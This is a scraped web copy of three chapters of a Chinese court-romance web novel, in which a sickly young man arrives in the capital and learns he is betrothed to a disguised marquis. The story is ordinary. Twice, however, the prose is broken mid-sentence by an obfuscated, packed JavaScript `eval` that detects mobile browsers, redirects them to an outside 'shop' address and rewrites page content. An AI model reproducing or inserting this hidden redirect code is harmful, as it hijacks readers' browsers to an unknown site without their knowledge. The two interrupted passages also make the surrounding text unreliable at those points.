《捡到的夫君超会哄人》 3. 进京 姜闲晚上休息得早,翌日也就起了个大早。 等他洗漱更衣吃过东西,带着云雁下楼出门,刘山已经套好马车,拿块饼坐在赶车的位置吃。 马车套了两匹马,多出的一匹自然是崔七的。 崔七坐在刘山旁边,裹着白布条的右手搁在膝上,依旧是一身劲装,背上背着个小包袱,长刀放在脚边,只斗笠不见了踪影。 如此一看,他和主仆三人的搭配非常相宜,完全就是一个保护主家的护卫形象,任谁来看都很难想到他只是临近搭一程车。 崔七原是靠着车厢闭眼养神,大概是听到姜闲的脚步声,在姜闲走到近处时睁眼看过来,颔首表示问候。 姜闲回以微笑,又问:“崔兄不如和我一同坐车内,让我的小厮坐外头便好。” 崔七却拒绝道:“不必。进京尚有一日路程,姜公子行路疲惫,还是让他在车里照顾你。” 姜闲见他坚持,便不再多和,被云雁掺扶着坐进马车中。 时间尚早,设卡检查的地方只有官兵守着,负责检查的官员还没有来。但着急走的人和队伍已经排起了队,刘山将马车赶到队伍尾端停下。 姜闲倚着车里软枕,让云雁挂起车厢两侧窗帘,就着光看书。 云雁无聊地望着窗外发呆,偶尔探头出去看看,或是隔着前方小窗和刘山说几句闲话。 车后方很快又跟上其他人,队列还在不断变长,两旁甚至有好些人来兜售茶水吃食。 等了足足有一个时辰,终于有了不一样的动静。 云雁凑在窗边,高兴地低声说:“来啦来啦!那两个官人应该就是了吧,终于可以走了!” 姜闲从书本中抬起眼,目光穿窗而过,看见外面有一队腰间佩刀的兵围着两个骑马的中年人走过,不由得眉头微微一动。 那两个中年人只是文士打扮,没穿官服,不过看气度的确有别于普通百姓。 更有意思的,是那队兵。 一般老百姓分不清,看他们身穿像号衣的统一衣物,腰间又都挂一样的刀,就认为是官兵。 然而姜闲能分辨出,那衣服不是差役也不是兵卒,估计是哪家权贵养来看守护院的家将。就不知道前头设卡的“官兵”,究竟是真的官兵,还是也是这种冒牌兵。 但不管怎么说,能在距离京城仅一日的地方设卡检查,哪怕官府没有参与此事,也是默认的态度。那行此事之人要么权势煊赫,要么极得圣宠,下面官员才如此放任。 马车缓缓动起来,姜闲便放下书,闭目养神。 刘山专心控着马,跟上不断前进的队伍。 检查的人来到之后,放行的速度不算慢,队伍一直在缩短。 只是,随着越来越接近前方,刘山的心跳就控制不住地加快。 他终于忍不住,偷偷看一眼旁边的崔七。 崔七身子跟着马车微微颠簸,面上平静得看不出表情,目光望着前方,却好似没有焦点,像是在发呆。 刘山暗暗吸口气,在心中祈祷顺利过关。 见那两个检查的人走来,刘山赶忙跳下车,躬身向两人问好,再递上一点碎银:“两位官人辛苦了,一点点茶钱,不成敬意。” 看在银子的份上,两个中年人面色还算缓和,上下打量刘山两眼,又仔细看看崔七,再转身向车后走去,一边问:“车里都有什么人?” 他们都没过多关注崔七,刘山放下一半心,跟上去答道:“是工部姜侍郎的大公子,还有一个小厮。” 两人没再多说,只一人回给刘山一个眼神。 刘山看懂了,那一眼的意思是——工部侍郎罢了,也值得专门提起。 由此可见,这两人——确切地说是他们背后的人,有着完全不把四品官放在眼里的地位。 不过,刘山并不知道,在他说出“工部姜侍郎”五字之后,车前方的崔七回头往这边瞟了一眼。 刘山紧走几步,敲敲车门,赶在两个检查的人走到时打开。 姜闲已经坐正,对车外两人作揖。 那两人目光一落到姜闲脸上,顿时现出浓浓的惊艳之色。片刻后回过神,不约而同地对视一眼。 其中一人确认道:“姜侍郎家的大公子?” 姜闲微微颔首:“正是在下。” 两人再次交换一个眼色,才转眼去看旁边的云雁,又问:“车里没藏着人吧?” 刘山连忙应:“没有没有,绝对没有!” 云雁也把车内仅有的几个软枕抱起来,让那两人看得更清楚。 车内本就不大,两人扫过两眼就收回目光,示意刘山可以走了。 刘山一边道谢一边关门。 那两人正转身,有一人突道:“我看你们这车也没装多少东西,就用上两匹马。姜侍郎在工部,看来混得很不错嘛。” 刘山心里打个突,正犹豫着要不要说有一匹马是崔七的。 不过,那人似乎只是随口这么一提,都不等刘山回话便离开。 刘山暗暗吁口气,动作迅速地跑到车前坐好,催马往前走。 靠近京城的官道养护得好,马车走起来很顺畅。 刘山分出点心思,再次偷偷看一眼旁边的崔七。 崔七还是那么一副像是在发呆的出神模样。 刘山不禁在心里寻思——难道自己猜错了,崔七真是因为手受伤,才找顺路人搭个车? 不过崔七究竟是什么人他其实不关心,只是前面还有城门那道关,京城估计会查得仔细,希望到时查身份文书也别出问题才好。 一路顺利,中午都没停车,一行人直接在车上吃了点干粮应付。 到下午约摸申正时分,来到了京城城门外,排队进门。 云雁从车窗探出门去,抬头望着高高的城楼,发出几声惊叹。 姜闲拉开车厢的小隔窗,对外头问:“崔兄进了城可有去处?你手不方便,我们直接送你过去。” 崔七侧头,目光穿过小隔窗,隐隐看到姜闲的脸:“我和朋友约在城西一家客栈。” 姜闲:“刘叔,一会儿先送崔兄过去,再去姜家。” 听见刘山应了声,便将小隔窗又关上。 城门的队伍不算长,检查的城门官兵很快走过来。 刘山一边问好一边送上三个铜板,发现官兵身后跟着一个衣着不差的少年,犹豫一瞬,也送上两个铜板,再从怀中掏出文书递过给官兵。 这份文书上写得很详细,有主仆三人的身份和相貌,出行目的地和事由。 那官兵展开快速扫过,问:“车里是姜公子?” 刘山:“是的是的。” 官兵抬眼看向崔七:“他是小厮?和这上面写的可不一样。” 刘山没搭话,也看向崔七。 崔七一派淡定,用完好的左手摸出一份文书递上。 官兵狐疑地打量下他:“你们怎么不在一份文书里?” 崔七:“不是他们家里人。” 官兵接过他的文书看。 这个时候,如果刘山探头偷看,想必会惊掉眼珠子——不仅开具那份文书的地方,是和他们主仆一样的泽华县,甚至出行事由,写的都是“护送”。 官兵没有起疑,很快将两份文书分别还给刘山和崔七,再往车后走去。 姜闲在车厢里就听清了外头的对话,听见脚步声走向车门,示意云雁开门。 下一刻就见到城门官兵,和跟在他身后那个少年人。 两人也看到了姜闲,眼中同样露出惊艳。 官兵的讶意只是一闪而过,简单看看姜闲和云雁,再扫一眼车内,便抱个拳:“姜公子,得罪了。例行公事,还望见谅。” 姜闲拱手笑道:“客气。” 那官兵帮着关上车门,示意刘山可以进城了。 刘山赶着马车往城里走,这才终于完全放下心。 京城很大,主道上车水马龙穿流不息。 刘山打眼一望,有些抓瞎。不过崔七适时靠过来指路,刘山看他一眼,一边照他说的继续赶车,一边忍不住:“崔公子来过京城?” 崔七:“两次。” 过得片刻,回问:“你们是第一次来?” 刘山犹豫一下,又感觉自己对京城的陌生样子瞒不过去,遂点头:“嗯。” 崔七:“工部侍郎这样的官,估计住在城东。你知道在哪个坊吗?” 刘山说了个坊名。 崔七给他指下路,续道:“进到坊内再寻人问问,不难找。” 刘山连忙道谢:“好好,谢谢崔公子。” 马车先往城西去,姜闲和云雁一人靠着一边窗,对外面的繁华景色看得津津有味。 直到车子拐到一条不宽的街口,崔七示意刘山停车不用再走,刘山就下车将他那匹马拆出来。 姜闲探身出窗外:“崔兄保重,有缘再见。” 崔七对他抱个拳:“多谢,再会。” 两边都没拖泥带水,就这样利落分别。 刘山调转马头,云雁趴在窗口望着崔七牵着马走远的身影。 直到马车转了方向,他才看向姜闲,小声说:“难道我和刘叔都猜错了,崔七不是官府要找的人。” 姜闲笑笑:“是与不是,又和我们有什么关系。” * 崔七牵着马走到一家小客栈门前。 里面小二见着,连忙跑出来接过缰绳:“客官是住店还是打尖?” 崔七摸出几个铜板给他:“住店,把我的马照顾好。” 小二眉开眼笑地一迭声应:“好咧,您就放心吧!掌柜的就在里面,我先给您的马喂料。” 崔七摆下手,跨步走进门去。 掌柜笑着迎上来,目光在崔七裹着白布的手臂扫过:“客官开间什么房?您这手……独住一间比较方便吧?” 崔七递上一块小银碇,声音低不可闻:“天字丙间。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425880|141397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌柜眨下眼,手指在银碇上摩挲片刻,转身比个请:“请随我来。” 他却没上楼,而是将崔七一路引到后方的一个小院,留下一句“客官稍候”,便匆匆离开。 这里像是放杂物的地方,院中停着一辆堆满柴火的车。 崔七扫过一眼,就低头开始拆右手臂上的绷带。 刚拆开一点,三个人快步进来。打头是个二十上下的青年,后方两个都是身材壮实的汉子。 两个汉子进来先关院门,韩恭则是吓了一跳,一边跑上前一边问:“你手怎么了?!” 崔七刚才抬头看过一眼,又继续低头拆:“没怎么,伪装而已。” 声音却和先前的低沉完全不同,是带有活力的年轻声音。 韩恭拍着胸吁口气:“那就好。幸好你机灵,能顺利进城!” 崔七:“武敏吉的人在城外设了一道卡,城门也有他的人盯着。他是在找我?” 韩恭脸色不太好看地点头:“也不知道端王哪里得知的消息,像是笃定了你已经离京,前日就在京外所有方向都设卡查人,所有城门也都盯得紧紧的。” 崔七:“圣上没说什么?” 韩恭摇摇头:“估计端王找了什么借口,先取得圣上同意。前日我们得知消息,舅母怕你独自一人容易引起怀疑,马上派她身边两位姑姑乔装去接应你。你没见着人吗?” 崔七也是一摇头:“很多人被堵在那片宿头,我刻意藏着,她们没找到我。” 韩恭看他把布条拆完,连忙道:“总之你顺利回来就好。赶紧躲柴火里,我们送你回府。” 崔七闻言一愣,又转眼去看那辆装柴火的车,才发现另外两个汉子已经卸下一些柴火,露出里面足以躲藏一人的空间。 他有些愣,重新看回韩恭:“原先的计划不是坐你的车回去?” 韩恭推着他往那边走:“这两天我出门再回府,端王身边那个狗腿子都硬拦我的车爬上来。你要坐我车里,准得暴露。这个安全,赶紧吧。端王中午就进了宫一直没出来,不知道还藏着什么坏水。” 崔七无法,只得钻进柴火车中,蜷着身子藏好。 两个汉子将外面的柴火堆好,仔细确认没有问题,就推起车子往外走。 柴火堆得很严密,小小的空间中,只有上方留有三处气孔,投下三束细细的光。 崔七在略微颠簸的车里尽管保持着平衡,一边捋着当前的情况。 虽说皇帝没有明确下令禁止他离京,但这么多年来,这已经是大家心照不宣的事。 而最重要的还不是离京,而是他离京去办的事经不住细细地查。一旦皇帝下令严查,估计除了他娘静宁长公主,和他表哥景王,能留着命被关一辈子,牵扯其中的人都要掉脑袋,包括他自己。 幸好上苍还是眷顾他,哪怕有端王武敏吉这种小人作祟,他还是顺利进京。也是他爹想得周到,多备了一份空白的假文书,让他可以随机应变。 想到这,崔七脑海中闪过姜闲那张令人惊艳的脸。 那人就是姜家的大公子,这缘分真挺奇妙。 随后,崔七开始构思他离开这几日间的谎话,看看怎么说才能圆得没有破绽。 就这么颠晃过一路。 终于,车停下,前方的柴火被拿开,推车汉子的声音传进来:“开阳侯,可以出来了。” 崔七钻出去,被两人扶下车,刚站稳就见自己的心腹小厮花清扑上来。 花清哭得眼泪哗哗流:“郎君!你终于回来了!你都不知道,前日端王突然闯进来非要找你有多吓人!幸好长公主及时拦住他!听说他还把路拦了,就为了在外头抓住你!我这两天都担心得都吃不下饭睡不着觉!下次你再出门一定要带着我……” 崔七给他哭得耳朵嗡嗡的,头都要胀大一圈。 不过,花清刚嚎了这几句,就被一道中气十足的女声打断。 “别哭了!赶紧给少锦收拾好!探子急报,陛下微服常用的马车已经出了宫,正朝这边来!” 崔七看向那道英武的身影,一句“娘”还没喊出口,就被静宁长公主带来的几个侍女团团围住。花清颤抖一下,两三把抹掉脸上泪水,跟在旁边帮忙。 卸胡子,药水洗脸洗手,梳头,换衣服,好一通忙乱。 静宁在旁边问:“还记得这几天你都在干什么吗?” 崔七寻着空隙断断续续地回:“在祠堂向众先祖请罪……请众先祖……同意我娶男子为妻……原谅我们这支后继无人……” 静宁满意点头:“等下就见机行事吧,你人在就一切好说。要是你赶不回来,我就只能豁出脸去跟陛下撒泼打滚了。” 众人刚把崔七收拾回原本的贵公子模样,就听一串脚步声跑近。 仆人奔到近前,喘着气报:“殿下、郎君……快、快快……圣上微服到、到访……快去迎驾……” 崔七理理衣襟,抬头看向静宁,扬唇一笑:“走吧,娘。” 4. 定亲 荣少锦——也就是化名崔七的开阳侯,一走进花厅,便看见厅中上首坐着个白面长须的中年男子,正是当今天子兴乐帝。 兴乐帝去年刚过四十寿诞,按说该是春秋鼎盛之时。可若细看他眼神、面色、体态,再听听他说话声音,不难感觉得出,他的精气神都比年长他六岁的静宁长公主要差得多。 上首另一把椅子空着。皇帝驾临,自然是无人能与他平起平坐。 下方左侧第一座上,是个比荣少锦年长些许的青年。五官也算标致,只是一双吊梢眼配合他斜眼抬下巴的习惯,总让人瞧着不舒服。 他就是端王武敏吉。 而下方右侧第一座空着,是预留给静宁长公主的位置,第二座上是驸马,襄侯荣长生。 荣少锦跟着静宁走上前,向兴乐帝躬身问候,兴乐帝态度和蔼地回了免礼。 母子二人正要入座,又听兴乐帝笑道:“阿姊过来坐,长生也坐近些,我们好说话。年纪长上来,这耳朵都没以前好使了。” 荣家三口听得这句,心下顿时再安定一分。 那话虽然明面上没提荣少锦,可兴乐帝在此时做出这种亲近姿态,显然是在见到荣少锦后,释放出信任的信号。 静宁顺水推舟,示意仆从将椅子往下首稍挪一挪,便从容地坐上去。荣长生也起身,换到下方右侧的第一张椅上。 荣少锦原本的座位排在武敏吉下首,现在既然右侧第二张椅空出来,他直接走向荣长生先前的位置。 一坐下身子就是一歪,手肘搭上扶手,整个人斜倚着,没个正经坐相。 不过,静宁和荣长生都没出声喝斥儿子。兴乐帝惯是宠爱这个外甥,仿佛完全不觉得他的行为有什么不妥,只和长公主夫妇闲话家常。 荣少锦抬头看向对面武敏吉,但武敏吉正拿起茶杯垂眼喝茶。 侍女给荣少锦和静宁端上茶,又给另三人重换一杯。 荣少锦抓起茶杯,抬头咕嘟咕嘟几口,一饮而尽。他进京之后心思都在安全回家上,一直没喝过水,还真是渴了。 他这么大动作,引得众人都看过来。 兴乐帝也终于把话头引到他身上,亲切地问:“少锦从何处过来,瞧着精神似乎不太好。” 荣少锦意思意思地把坐姿端正些许,语带抱怨地回:“祠堂。臣这几日都在祠堂里焚香抄经,差点没无聊死。” 兴乐帝状似不经意地瞟一眼武敏吉,笑说:“你又怎么调皮捣蛋了,被阿姊罚去跪祠堂。敏吉说,前日来寻你一块玩,阿姊都没让你出来。” 静宁立刻喊了声冤:“陛下这可冤枉我了,少锦这回抄经不是被罚。” 荣少锦跟上:“舅舅,娘没罚我,只是让我自己去求祖先们同意我的婚事。要是祖先们不同意,下定前还能再换人。” 兴乐帝顺着话道:“原来是这样。那荣家先祖可同意了?还是朕打断了你。” 荣少锦点头:“同意了,供上去的庚帖上出现了一个红喜字。” 兴乐帝面露惊讶:“真的?拿来给朕瞧瞧。” 荣少锦:“真的,臣看得真真切切。不过,醒来之后就瞧不见字了。” 兴乐帝一愣。 武敏吉见缝插针地轻笑一声:“那你不就是做了个梦,这也能算数?” 荣少锦回他一笑:“怎么就不算了,而且这还是托陛下的福。” 说完,重新转向兴乐帝,续道:“舅舅,我这几日在祠堂里睡得全身上下骨头疼,都没得到祖先们一丁点提示。刚才仆从来叫臣迎驾,臣打着盹将醒未醒之时,就见到了那个红喜字。” 兴乐帝扬扬眉:“那朕是不是也能算半个媒人。” 静宁适时接话:“祖先们既已同意,不知陛下可愿为少锦赐婚。” 兴乐帝思索片刻,笑着缓缓点头:“成人之美,也是一桩佳话。” 荣家三人立即起身谢恩。 兴乐帝抬手,示意三人落座。 武敏吉再次插话:“在祠堂睡了好几日啊,那还真是受苦了。姑母您也真舍得,少锦表弟向来娇气,没想到成婚前还要受这个罪。” 静宁依旧沉稳:“谁让少锦这婚事与旁人不同,马虎不得。” 武敏吉看向荣少锦:“我有点好奇,表弟抄的什么经,才能向先祖问姻缘。” 荣少锦不紧不慢地回:“当然是《孝经》。我都要娶男妻绝后嗣了,当然更得向祖先们表明我的孝心。只是命数如此,我不得不从。 “连抄许多份,我都快能背下来。表兄似乎怀疑我躲着偷懒啊,是想听我背一段,还是想看看我烧的纸灰?” 武敏吉抿下嘴:“我没有怀疑。” 荣少锦笑一声,反击道:“说起来,表兄还长我几岁。现下我都要成婚了,表兄是不是也该考虑考虑?你那一后院的娇客,就没一个值得你给个正经名份的?” 武敏吉眸光一暗。 兴乐帝却在此时接过话:“对了,朕还不知道呢,少锦娶的是谁?” 静宁回道:“工部侍郎姜德的大公子。” 兴乐帝乐呵呵地抚须:“好好好,朕回了宫便拟旨,定让阿姊能带着圣诣去下定。” 随后再聊过几句,静宁看出兴乐帝想走之意,开口留他用饭。兴乐帝当然拒绝了,顺势带着武敏吉摆驾回宫。 荣家三人将天子送出门,心中大石才总算稳稳落地。 返回后院途中,荣长生问儿子:“这趟还顺利吗?” 荣少锦点头:“挺顺利的。” 说罢,又忍不住骂:“武敏吉那阴险小人!” 静宁却是平静地接话:“他拉来圣上却没能拦住你,反倒是帮了我们一个忙。依圣上的性子,既然觉得这次冤枉了你,总会给点补偿。” 这一点,从兴乐帝没多犹豫就答应赐婚的态度,便可以看得出来。 荣少锦眼一亮,看向荣长生:“那爹的爵位是不是可以升了?按功劳算,早就能封国公,却硬是一直压着。这回我办了婚事,圣上应该能安心不少,不会再吝啬了吧。” 静宁:“待进宫领旨之时,若有机会,我就提一提。” 荣长生拍拍儿子肩膀:“这一趟你辛苦了。去洗个澡松快松快,晚上好好吃一顿。有什么话,等会儿边吃边说。” 荣少锦应过一声,向自己的院子快步走去。 * 姜闲和荣少锦分别后,继续在马车里晃了一阵,从城西穿过大半个京城来到城东。 刘山打听着路,将马车赶到姜家门前。 京城寸土寸金,这四品官员住的宅子似乎也没多大,瞧着大门还比不上姜家老宅宽阔。 刘山上门敲了几次门,好一会儿后,门才打开条缝。 门房探出点身,上下打量刘山两眼:“你哪里的,有什么事?” 刘山从怀中掏出一只信封:“大公子收到姜侍郎的信,进京来了。麻烦老伯开门拆坎,让大公子的马车进府。” 门房脸上现出吃惊,转头看一眼门前马车,再接过信封细看,确认上面的确是姜德的字迹。 不过,他将信封还给刘山时,却说:“东面墙有门,那里好过马车,从那边进吧。” 刘山听得皱起眉。 哪怕他们主仆都知道,进京后必然要面临风刀霜剑。可他还真没想,竟然连个小小的门房,都敢来个下马威。 刘山拿回信封,没收进怀,直接沉下脸厉声喝道:“大公子回自己家,断没有走角门的道理!你这刁奴再不开门,我就上工部衙门去找姜侍郎,让郎君来治你这个狗眼看人低的东西!” 门房给他斥得倒退半步,眼珠一转,咧出个假笑:“这么大声干什么,小老儿只是想躲个懒,没别的意思。这就给你开,这就开啊。” 说完没敢再拖,打开大门,拆下门坎,让刘山赶着马车进大门。 刘山停车在门口,转头问门房:“怎么走。” 门房:“小老儿只管看门,府内的事可不知道。要不,你们就在这儿等着,看哪时会有后头的人过来。” 刘山只觉心头冒火,差点把手中马鞭抽过去。 姜闲原在闭目养神,车外的对话听得清清楚楚,此时扬声道:“刘叔,调头。找家客栈歇一晚,明日我亲自去工部寻父。” 刘山大声应着“是,公子”,瞪门房一眼,就要指挥马调头。 不过,这时有个小厮跑过来,高声道:“是大公子到了吗?夫人已在花厅等候,请随小的来。” 刘山等了片刻,没听见自家公子的吩咐,这才赶车跟着那小厮走。 这宅子是真没多大,走不一会儿,小厮就示意刘山停车,再次说:“大公子请下车。” 姜闲被云雁掺扶着下车,身上依旧披着斗篷。 小厮规矩还可以,尽管见到姜闲先惊得发愣,回神后还是垂首低眉地把姜闲领进花厅。 厅中坐着一个中年妇人,裙钗华贵,是姜德现在的妻子贾金燕。 贾金燕正低头喝茶,直到脚步声来到近前,才抬头看来。 她眼中闪过一道惊诧,不过很快借着垂眼放茶杯的动作收敛心神,恢复原先的雍容姿态,扬手道:“闲儿快坐。回自己家,别外道。” 姜闲也没想和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425881|141397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她外道,一声不响地直接坐下。 贾金燕眉头微微一抖,但立刻控制住表情,上下打量着姜闲,笑说:“一别十五年,闲儿都长成这般俊俏的翩翩佳公子了。你娘在老家可还好?” 姜闲也扬起淡淡一抹笑:“谢谢夫人记挂,家母一切都好。” 贾金燕见着姜闲就心堵,可想到儿子那封语气很重的信,和丈夫的交待,只得耐着性子装慈母打发姜闲。 “郎君今晚要赴宴,不定哪时才能回来。你弟弟还在书院念书,再下头几个小的吵闹,先不叫过来烦你了。院子已经收拾好,你车马劳顿,先去好好休息吧。等开饭……” 姜闲打断道:“我身体有点虚,吃食上要注意的地方很多,最好能让我的亲随来做。” 贾金燕忍着厌烦回:“可以啊,你的院子里有个小厨房,要什么食材佐料,就到大厨房去拿。” 姜闲起身:“那我就回去休息了。” 说完,径自转身离去。 贾金燕禁不住攒起手帕,脸色完全沉下,眼中像是淬了毒。 姜闲对身后的目光恍若未觉,走出花厅再次上车。 刚才那个小厮将马车领到分给姜闲的小院。 这院子和前日在道观中的小院差不多大,并排的两间房,一间小厨房,一间小杂物房,边上还有一口井。 姜闲下了车,给刘山一个眼神。 刘山点点头,回身卸好马车,将马牵到院角栓好。 小厮一愣:“诶……马我牵到马厩去。” 刘山看都没看他,一边自己忙自己的,一边回道:“不用了,我们自己养着就行,回头我去抱点草料过来。” 小厮:“可是……府里的马都是……” 刘山这才瞟他一眼:“这可不是府里的马。这马写在大公子的身份文书上,是大公子的马。” 小厮一时不知道怎么说,后来想到夫人的吩咐,干脆不再管,看刘山没再有事,便自行离开。 姜闲把两间房都看过一遍,挑了一间住,让云雁和刘山住另一间。 他坐在桌边等着两人收拾带来的行李,慢慢喝着水说:“一会儿你们跑一趟大厨房,把今晚这餐的东西要够。明天摸摸四周情况,以后就自己买菜,省得要东西费劲还生气。” 云雁应着声,又叹口气:“这哪儿是回家啊,这是进了龙潭虎穴。” 刘山则是忍不住担忧:“我们带来的银钱毕竟有限,以后要怎么办?” 哪怕省着用可以撑个几年,可总会有用完的一天。 姜闲乐观地安慰:“能再赚到的,别担心。” 云雁和刘山都是利索的人,很快收拾好两间房,去拿回柴火和食材。令他们诧异的是,大厨房竟然没太刁难人。 好好吃过一顿饭,云雁又烧水给姜闲痛痛快快洗了个澡。 姜闲洗去满身尘埃,感觉整个人像是重获新生。 困意涌上,他正准备休息,却突然听到有人拍院门。 还是先前那个小厮,带来姜德要见他的消息。 姜闲只得披上斗篷,带上云雁过去主院。 姜德坐在卧房外间等着,手中端着一杯醒酒茶,面上还带着酒后的微红,一把美须垂到胸前。 当他看见十五年未见的大儿子走进屋时,不由得怔愣一下——这儿子实在是和他娘太像了,哪怕性别、姿态、气质都完全不同,也能一眼在他身上看到他娘当年的影子。 姜闲进屋对上姜德的目光,就发现对方眼神在发虚,明显心神已经飞走。 他也不急,直接往椅子上一坐,等着姜德说话。 父子两人无言对视好一会儿,姜德才回过神,发现姜闲已经坐下,立刻蹙起眉。 姜闲恰在这时咳了两声,先开口:“父亲催得急,我本就身体不太好,赶路过来,实在支撑不了多久。父亲有什么事,还望长话短说。” 他生得俊,连白着脸咳嗽的模样,都有一种惹人怜惜之美。 姜德噎了下,滚到嘴边的斥责怎么都说不出口,只得也咳一声清清嗓子:“催你进京,是有件事……” 话一出来,姜德自己都怔愣——他原来可没想这么直接,怎么就被牵着鼻子走了? 姜闲却像是没有察觉异样,只问:“何事?” 话都说到这里,姜德也懒得再绕弯子,直说道:“我替你定下门好亲事,静宁长公主之子开阳侯。两家已交换庚帖,你这段时日就在家中好好学习礼仪,别过了门做出失礼之事,丢我的脸。” 姜闲有一瞬间的恍惚。 他甚至怀疑,自己是不是又在做梦! 5.信息 震惊之下,姜闲不由自主地抬抬手,垂眼看看自己是不是换上了喜服。 没有。 似乎这不是梦? 姜闲一时脑子都有点乱,没克制住,冲口而出:“父亲,你可还记得我是男子。” 姜德对上姜闲的目光,心中顿时有点虚,下意识回道:“这我当然知道,你怎么和为父说话的……” 他原想以斥责来压迫儿子,只是出口的声音虚得话尾都要听不清。 姜闲定定地直视眼前这个故做威严实则眼神飘突的中年男人。 姜德被盯得背上都有些发毛,掩饰性地低头再次咳一声:“那个……开阳侯喜欢的就是男子,这是桩好姻缘。” 姜闲心中冷笑一声,淡淡开口:“我倒是不知道,什么时候男子与男子也能成婚了。” 姜德调整着心态,力争在儿子面前摆出一家之主说一不二的姿态,尽量镇定地续道:“律法也没有规定不能。长公主会求圣上赐婚,只要求到圣旨,这婚事自然能办得顺顺利利。 “总之,婚姻大事自古都是父母之命、媒妁之言。我已经为你定好,庚帖也已经交换过,就等着开阳侯来下定。成亲前这段日子,你就在家里好好备嫁,不要节外生枝。” 姜闲垂下眸。短短时间里,他已经从刚才那种幻视梦境的诡异感中脱离。 姜德的话非常明显,亲事已是定局,不可能变更。而且,如果真如那个奇怪的梦所示,姜德必是有求于长公主,他这个“交换条件”压根没有置喙的余地。 那现在他所能做的,就是在这件事中尽量给自己多争取一些利益。 姜闲极快地理清思路,重新抬眼,面上恢复了平静:“我可以嫁过去,但有条件。” 姜德刚感觉终于压住了儿子,却又听到这么一句,不由得皱眉:“你……” 姜闲毫无顾忌地再次打断他的话:“父亲也不想这结亲最后弄成结仇吧。” 姜德顿时感觉心头猛地一跳。 的确,如果姜闲真豁出去鱼死网破地拒婚,搞到长公主一家颜面无存,甚至可能伤害到皇帝的脸面,那他这个当爹的必然会受牵连。 退一步说,即便姜闲乖乖嫁过去,以那张绝世的脸,迷住开阳侯想来不是难事,这也是姜德有信心长公主会满意的底气。可若姜闲哄住了开阳侯后,反过手来对付他,他岂不是搬石砸脚、自讨苦吃。 姜德在心中权衡一番,谨慎地问:“什么条件?” 姜闲:“开阳侯的聘礼,全部给我。” 姜德有点意外,但也答应得痛快:“可以,本来我也是这么打算。” 他在这桩交易中求的不是钱财,让姜闲把聘礼都带过去,是他表达的诚意之一。何况他也没打算出多少嫁妆,而长公主下的聘估计不会轻,直接拿聘礼当嫁妆会让场面好看些。 姜闲紧跟着就提到嫁妆:“我的嫁妆有多少。” 姜德:“一张床,四匹新布,四套新衣,五十两压箱银。” 姜闲露出个嘲讽的笑。 姜德面上有些挂不住,找补道:“我只是个四品官,京里什么都贵,这几年就没攒下多少钱。再说,嫁妆的大头都是从母亲的陪嫁里取,可你母亲的陪嫁当年全都让她带了回去。你要嫌少,就写信问她要。” 姜闲没在这个问题上纠结。钱虽重要,却不是最重要的,他提这这些,只是当个引子,让他真正的要求显得不突兀。 他拢拢肩上斗篷,继续说:“我身体不太好,这个父亲该知道。先前带的药路上已经吃完,明日要出门抓药。还有,若是发现缺了什么,我也要出门买。” 姜德下意识接道:“要买什么,让仆人去就行。” 姜闲凉凉地看他一眼:“不亲自去,我不放心。” 姜德怔愣:“什么意思?” 姜闲面不改色:“字面意思。不用担心,母亲还有族里看着,我不会跑。” 姜德脸庞微微发红,气的。 不过,他转念一想,姜闲要是想跑出京,得先到府衙办新的身份文书。而办文书,则需要自己出面签字盖章。这么一想,倒也不用在这种小事上刁难。 于是姜德点头应:“可以,但你还是低调点,别惹事非。” 姜闲站起身:“我一路车马劳顿,父亲要没别的事,我先回去休息。” 姜德又一次为儿子对无礼而沉下脸色,但也忍着道:“去吧。” 姜闲直接转身就走。 在出门之前,却突然停下,半侧回身问:“姜贵是不是该念完书院回来了?” 姜德没起疑心:“嗯,应该是这两天会到。” 姜闲没再多说,径自离开。 云雁刚才被打发在外面,对屋里的话音听不真。可他服侍姜闲多年,自然察觉得到姜闲出来后的心事重重。 两人一路回到住的小院,和刘山一同进屋关了门,云雁才着急地问:“郎君,侍郎说什么?” 姜闲捧着刘山倒的温水,缓缓把婚事告诉两人。 两人听得目瞪口呆。 云雁年纪轻,忍不住低骂一声:“混帐!” 刘山眉头也打成结:“难怪进府后的刁难没多少……郎君,那我们……” 姜闲现在已经非常平静:“我过去,你们跟着我一起。其实也未必就是坏事,说不定能有另一条出路。” 随后饮下小半杯水,起身走向卧房:“都休息吧,别想了,车到山前必有路。” 云雁只得服侍他睡下,和刘山一起叹着气回隔壁屋。 姜闲躺在床上,四周终于静下,他也终于得以好好想一想先前那个梦。 梦里的事竟然在现实中发生,简直就像那些志异话本故事。 对了,在那梦里,一切还真是话本里的故事。 故事还有两种不同发展。 如果真是预知梦,现在又是姜贵复生前,还是姜贵复生后? 要加以印证,还得等最关键的主角回来。 当然,在那之前,也可以先做一些准备。 姜闲一边在心中盘算着,一边缓缓闭上眼睛。 * 这一晚,端王府同样也有一番热闹。 这两日去找荣少锦的人手都被召集回来,在武敏吉身边缩着脖子跪成一排。 武敏吉接过小厮递上的热茶,手猛地一扬:“一群废物!” 茶水将一排人都淋了个遍,众人却只能把头垂得更低,七嘴八舌地请罪。 武敏吉本来就在气头上,这一下更是被吵得头疼,抬脚随意踢倒一个,喝道:“每人罚俸三月,都滚出去!” 这些人能被派出去干找人的活,个个都算是心腹,也很懂看脸色,没敢再吵闹,乖乖领罚退走。 不过,有三人却留了下来。 